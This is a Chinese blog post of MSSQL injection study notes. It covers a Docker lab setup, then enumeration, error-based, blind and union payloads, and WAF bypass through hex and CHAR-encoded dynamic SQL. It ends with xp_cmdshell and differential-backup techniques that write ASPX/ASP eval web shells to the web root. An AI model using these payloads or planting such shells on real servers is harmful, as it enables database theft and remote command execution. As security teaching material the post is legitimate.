首页 > 数据库 >MSSQL注入

MSSQL注入

时间:2024-07-04 23:21:32浏览次数:14  
标签:name -- CHAR xp where MSSQL select 注入

环境搭建

sudo docker pull mcr.microsoft.com/mssql/server:2022-latest
docker run -e "ACCEPT_EULA=Y" -e "SA_PASSWORD=Y.sa123456" -p 1433:1433 --name mssql2022 -d mcr.microsoft.com/mssql/server:2022-latest

然后使用客户端连接即可

用户名 sa
密码 Y.sa123456

image.png
Docker安装MS SQL Server并使用Navicat远程连接 - 追逐时光者 - 博客园

注入细节

MSSQL_SQL_BYPASS_WIKI/一篇了解MSSQL.md at master · aleenzz/MSSQL_SQL_BYPASS_WIKI

基础使用

查询

SELECT name 
FROM sys.tables;  -- 输出数据库所有的表名字

注释

单行注释
--
多行注释
/* 
测试
测试
*/

关键字

@@version // 数据库版本

user  //获取当前数据库用户名

db_name() // 当前数据库名 其中db_name(N)可以来遍历其他数据库

;select user //查询是否支持多语句
1'and host_name()=@@servername;--'判断是否站库分离

注入步骤

判断当前数据库

1'and db_name()>0;--

爆表名

1' and 1=(select top 1 name from sysobjects where xtype='u' and name !='info');--

暴列名

1' and 1=(select top 1 name from syscolumns where id
=(select id from sysobjects where name = 'admin') and name<>'id');--

爆数据

1' and 1=(select top 1 username from admin);--

进阶使用

报错注入其他方式

使用函数来进行一个处理

select * from admin where id =1 (select CAST(USER as int))
select * from admin where id =1 (select convert(int,user))

waf绕过

使用declare ,进行局部变量声明.然后配合hex和ascii码来进行一个对应的绕过.

select * from admin where id =1;declare @a nvarchar(2000) set @a='select convert(int,@@version)' exec(@a) --
select * from admin where id =1;declare @s varchar(2000) set @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 exec(@s)--
select * from admin where id =1;declare @s varchar(2000) set @s= CHAR(115) + CHAR(101) + CHAR(108) + CHAR(101) + CHAR(99) + CHAR(116) + CHAR(32) + CHAR(99) + CHAR(111) + CHAR(110) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(116) + CHAR(40) + CHAR(105) + CHAR(110) + CHAR(116) + CHAR(44) + CHAR(64) + CHAR(64) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(115) + CHAR(105) + CHAR(111) + CHAR(110) + CHAR(41) exec(@s)--

布尔盲注

1 and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109

时间盲注

1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--

1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>
1 WAITFOR DELAY '0:0:5'--

联合注入

相较于mysql注入,一般是使用null来进行一个对应的占位

1 union select null,name,pass --

shell获取

权限判断

and 1=(select is_srvrolemember('sysadmin'))

and 1=(select is_srvrolemember('serveradmin'))

and 1=(select is_srvrolemember('setupadmin'))

and 1=(select is_srvrolemember('securityadmin'))

and 1=(select is_srvrolemember('diskadmin'))

and 1=(select is_srvrolemember('bulkadmin'))


select IS_MEMBER('db_owner')  

寻找网站目录

使用xp_dirtree

1;CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
1;insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1

直接使用xp_cmdshell

1;CREATE TABLE cmdtmp (dir varchar(8000));
1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'

尝试读注册xp_regread

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'

shell写入

直接使用xp_cmdshell写入

1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ;

使用差异备份

1. backup database 库名 to disk = 'c:\bak.bak';--

2. create table [dbo].[test] ([cmd] [image]);

3. insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

4. backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--

标签:name,--,CHAR,xp,where,MSSQL,select,注入
From: https://www.cnblogs.com/Ho1dF0rward/p/18284883

相关文章

  • mysql注入
    mysql注入前置知识mysql语句,php表单数据处理。功能展示以sqli_libs为例子。在Less-1中,sql语句的合成是这样的。我们提交的url为http://localhost/sqli-labs-master/Less-1/?id=1即拼接为$sql="SELECT*FROMusersWHEREid='1'LIMIT0,1"即查询出表users中id为1的数......
  • 7.1.SQL注入-基于函数报错的方式来利用updatexml()
    基于函数报错的方式来进行利用-字符型(本页updatexml())前提条件是后台数据库没有屏蔽数据库语法报错信息updatexml()方法详解注释:第一个参数,意思就是xml文档的名称第二个参数,意思就是定位到xml文档中指定的某一个位置的更新第三个参数,意思就是将文档中指定某一个位置......
  • 7.2.SQL注入-基于函数报错extractvalue(),floor()
    注入基于函数报错extractvalue(),floor()-字符型基于extractvalue()爆出数据库版本payload语句:kobe'andextractvalue(0,concat(0x7e,version()))#爆出数据库版本基于floor()floor()函数就是取整数爆出数据版本信息kobe'and(select2from(selectcount(*),......
  • 8.SQL注入-基于insert,update利用案例
    SQL注入-基于insert/update利用案例sql语句正常插入表中的数据insertintomember(username,pw,sex,phonenum,address,email)values('xiaoqiang',1111,1,2,3,4);select*frommember;例如插入小强数据,如图所示:采用or这个运算符,构造闭合语句values('xiaoqiang'or......
  • CTF常用sql注入(二)报错注入(普通以及双查询)
    0x05报错注入适用于页面无正常回显,但是有报错,那么就可以使用报错注入基础函数floor()向下取整函数返回小于或等于传入参数的最大整数。换句话说,它将数字向下取整到最接近的整数值。示例:floor(3.7)返回3floor(-2.5)返回-3round()四舍五入函数将传入的数字四......
  • SpringBoot拦截器中获取注解、拦截器中注入Service
    拦截器中获取注解来源:https://blog.csdn.net/wangmx1993328/article/details/81030268/publicclassJWTInterceptorimplementsHandlerInterceptor{privateSysSettingServicesysSettingService;//构造函数传入ServicepublicJWTInterceptor(SysSettingServ......
  • 实战篇——SQL注入sqli-labs-master靶场实战三
    实战篇——SQL注入sqli-labs-master靶场实战(3)sqlmap基础用法GET型:POST型:请求头注入(以User-Agent注入为例):爆库:pythonsqlmap.py-rC:\Users\yaogu\Desktop\sqlmap\request\1.txt--threads10--dbs爆表:pythonsqlmap.py-rC:\Users\yaogu\Desktop\sqlmap......
  • Spring的三种依赖注入的方式
    1、什么是依赖注入依赖注入(DependencyInjection,简称DI),是IOC的一种别称,用来减少对象间的依赖关系。提起依赖注入,就少不了IOC。IOC(InversionofControl,控制反转)是一种设计思想,它将原本在程序中手动创建对象的控制权,交由Spring框架来管理。IOC和DI,是同一个概念的不同角度描述。......
  • [漏洞复现]Geoserver表达式注入致远程代码执行漏洞(CVE-2024-36401)
    觉得该文章有帮助的,麻烦师傅们可以搜索下微信公众号:良月安全。点个关注,感谢师傅们的支持。看到长亭昨晚发送的漏洞风险提示,我这边快马加鞭看看能不能赶上热度,payload就放在星球了,欢迎各位师傅来白嫖,看上眼的话可以留下试试。漏洞描述GeoServer是一个开源服务器,用于共享、处......
  • 瑞友天翼应用虚拟化系统SQL注入漏洞
    最近网上公开了一些瑞友天翼应用虚拟化系统的SQL注入漏洞,经过挖掘发现,还存在一些后台SQL注入漏洞。重点关注传入参数可控并且拼接到SQL语句中的代码。​getappicon​首先检测了登录状态,然后将通过GET获取到的参数id直接拼接到SQL语句中。GET/hmrao.php?s=/Admi......